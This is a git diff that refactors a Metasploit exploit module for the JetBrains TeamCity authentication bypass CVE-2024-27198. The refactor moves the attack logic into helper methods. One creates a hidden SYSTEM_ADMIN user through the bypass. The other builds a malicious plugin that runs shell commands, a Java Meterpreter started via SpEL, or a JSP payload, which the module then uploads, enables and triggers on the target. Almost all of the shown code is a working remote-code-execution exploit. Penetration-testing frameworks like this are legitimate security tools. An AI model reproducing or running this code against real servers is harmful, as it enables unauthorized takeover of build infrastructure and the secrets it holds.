diff --git a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb
index 16254e2fe4dc..4b98f1dfb103 100644
--- a/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb
+++ b/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb
@@ -187,52 +187,9 @@ def exploit
token_name = nil
token_value = nil
- admin_username = Faker::Internet.username
- admin_password = Rex::Text.rand_text_alphanumeric(16)
+ http_authorization = auth_new_admin_user
- res = send_auth_bypass_request_cgi(
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
- 'ctype' => 'application/json',
- 'data' => {
- 'username' => admin_username,
- 'password' => admin_password,
- 'name' => Faker::Name.name,
- 'email' => Faker::Internet.email(name: admin_username),
- 'roles' => {
- 'role' => [
- {
- 'roleId' => 'SYSTEM_ADMIN',
- 'scope' => 'g'
- }
- ]
- }
- }.to_json
- )
-
- unless res&.code == 200
- fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.')
- end
-
- print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
-
- http_authorization = basic_auth(admin_username, admin_password)
-
- # Login via HTTP basic authorization and store the session cookie.
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
- 'keep_cookies' => true,
- 'headers' => {
- 'Origin' => full_uri,
- 'Authorization' => http_authorization
- }
- )
-
- # A failed login attempt will return in a 401. We expect a 302 redirect upon success.
- if res&.code == 401
- fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.')
- end
+ fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
else
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
@@ -247,9 +204,7 @@ def exploit
# Extract the authentication token from the response.
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
- if token_value.nil?
- fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.')
- end
+ fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?
print_status("Created authentication token: #{token_value}")
@@ -263,108 +218,9 @@ def exploit
#
plugin_name = Rex::Text.rand_text_alphanumeric(8)
- if target['Arch'] == ARCH_CMD
-
- case target['Platform']
- when 'win'
- shell = 'cmd.exe'
- flag = '/c'
- when 'linux', 'unix'
- shell = '/bin/sh'
- flag = '-c'
- else
- fail_with(Failure::BadConfig, 'Unsupported target platform')
- end
-
- zip_resources = Rex::Zip::Archive.new
-
- zip_resources.add_file(
- "META-INF/build-server-plugin-#{plugin_name}.xml",
- <<~XML
-
-
-
-
-
- #{shell}
- #{flag}
-
-
-
-
-
- XML
- )
- elsif target['Arch'] == ARCH_JAVA
- # If the platform is java we can bootstrap a Java Meterpreter
- if target['Platform'] == 'java'
- zip_resources = payload.encoded_jar(random: true)
-
- # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
- servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
- zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)
-
- payload_bean_id = Rex::Text.rand_text_alpha(8)
-
- # We start the payload in a new thread via some Spring Expression Language (SpEL).
- bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"
-
- # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
- # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
- # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
- # choose a property that does not exist, we generate several exceptions in the teamcity-server.log.
-
- zip_resources.add_file(
- "META-INF/build-server-plugin-#{plugin_name}.xml",
- <<~XML
-
-
-
-
-
-
-
- XML
- )
- else
- # For non java platforms with ARCH_JAVA, we can drop a JSP payload.
- zip_resources = Rex::Zip::Archive.new
-
- zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
- end
-
- else
- fail_with(Failure::BadConfig, 'Unsupported target architecture')
- end
-
- zip_plugin = Rex::Zip::Archive.new
-
- zip_plugin.add_file(
- 'teamcity-plugin.xml',
- <<~XML
-
-
-
- #{plugin_name}
- #{plugin_name}
- #{Faker::Lorem.sentence}
- #{Faker::App.semantic_version}
-
- #{Faker::Company.name}
- #{Faker::Internet.url}
-
-
-
-
- XML
- )
+ zip_plugin = create_payload_plugin(plugin_name)
- zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
+ fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?
#
# 3. Upload the payload plugin to the TeamCity server
@@ -399,9 +255,7 @@ def exploit
'data' => message.to_s
)
- unless res&.code == 200
- fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.')
- end
+ fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200
#
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
@@ -420,9 +274,7 @@ def exploit
}
)
- unless res&.code == 200
- fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.')
- end
+ fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
begin
@@ -480,9 +332,7 @@ def exploit
}
)
- unless res&.code == 200
- fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.')
- end
+ fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
end
ensure
#
@@ -505,6 +355,168 @@ def exploit
end
end
+ def auth_new_admin_user
+ admin_username = Faker::Internet.username
+ admin_password = Rex::Text.rand_text_alphanumeric(16)
+
+ res = send_auth_bypass_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
+ 'ctype' => 'application/json',
+ 'data' => {
+ 'username' => admin_username,
+ 'password' => admin_password,
+ 'name' => Faker::Name.name,
+ 'email' => Faker::Internet.email(name: admin_username),
+ 'roles' => {
+ 'role' => [
+ {
+ 'roleId' => 'SYSTEM_ADMIN',
+ 'scope' => 'g'
+ }
+ ]
+ }
+ }.to_json
+ )
+
+ unless res&.code == 200
+ print_warning('Failed to create an administrator user.')
+ return nil
+ end
+
+ print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
+
+ http_authorization = basic_auth(admin_username, admin_password)
+
+ # Login via HTTP basic authorization and store the session cookie.
+ res = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
+ 'keep_cookies' => true,
+ 'headers' => {
+ 'Origin' => full_uri,
+ 'Authorization' => http_authorization
+ }
+ )
+
+ # A failed login attempt will return in a 401. We expect a 302 redirect upon success.
+ if res&.code == 401
+ print_warning('Failed to login with new admin user credentials.')
+ return nil
+ end
+
+ http_authorization
+ end
+
+ def create_payload_plugin(plugin_name)
+ if target['Arch'] == ARCH_CMD
+
+ case target['Platform']
+ when 'win'
+ shell = 'cmd.exe'
+ flag = '/c'
+ when 'linux', 'unix'
+ shell = '/bin/sh'
+ flag = '-c'
+ else
+ print_warning('Unsupported target platform.')
+ return nil
+ end
+
+ zip_resources = Rex::Zip::Archive.new
+
+ zip_resources.add_file(
+ "META-INF/build-server-plugin-#{plugin_name}.xml",
+ <<~XML
+
+
+
+
+
+ #{shell}
+ #{flag}
+
+
+
+
+
+ XML
+ )
+ elsif target['Arch'] == ARCH_JAVA
+ # If the platform is java we can bootstrap a Java Meterpreter
+ if target['Platform'] == 'java'
+ zip_resources = payload.encoded_jar(random: true)
+
+ # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
+ servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
+ zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)
+
+ payload_bean_id = Rex::Text.rand_text_alpha(8)
+
+ # We start the payload in a new thread via some Spring Expression Language (SpEL).
+ bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"
+
+ # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
+ # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
+ # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
+ # choose a property that does not exist, we generate several exceptions in the teamcity-server.log.
+
+ zip_resources.add_file(
+ "META-INF/build-server-plugin-#{plugin_name}.xml",
+ <<~XML
+
+
+
+
+
+
+
+ XML
+ )
+ else
+ # For non java platforms with ARCH_JAVA, we can drop a JSP payload.
+ zip_resources = Rex::Zip::Archive.new
+
+ zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
+ end
+
+ else
+ print_warning('Unsupported target architecture.')
+ return nil
+ end
+
+ zip_plugin = Rex::Zip::Archive.new
+
+ zip_plugin.add_file(
+ 'teamcity-plugin.xml',
+ <<~XML
+
+
+
+ #{plugin_name}
+ #{plugin_name}
+ #{Faker::Lorem.sentence}
+ #{Faker::App.semantic_version}
+
+ #{Faker::Company.name}
+ #{Faker::Internet.url}
+
+
+
+
+ XML
+ )
+
+ zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
+
+ zip_plugin
+ end
+
def get_install_path(http_authorization)
res = send_request_cgi(
'method' => 'GET',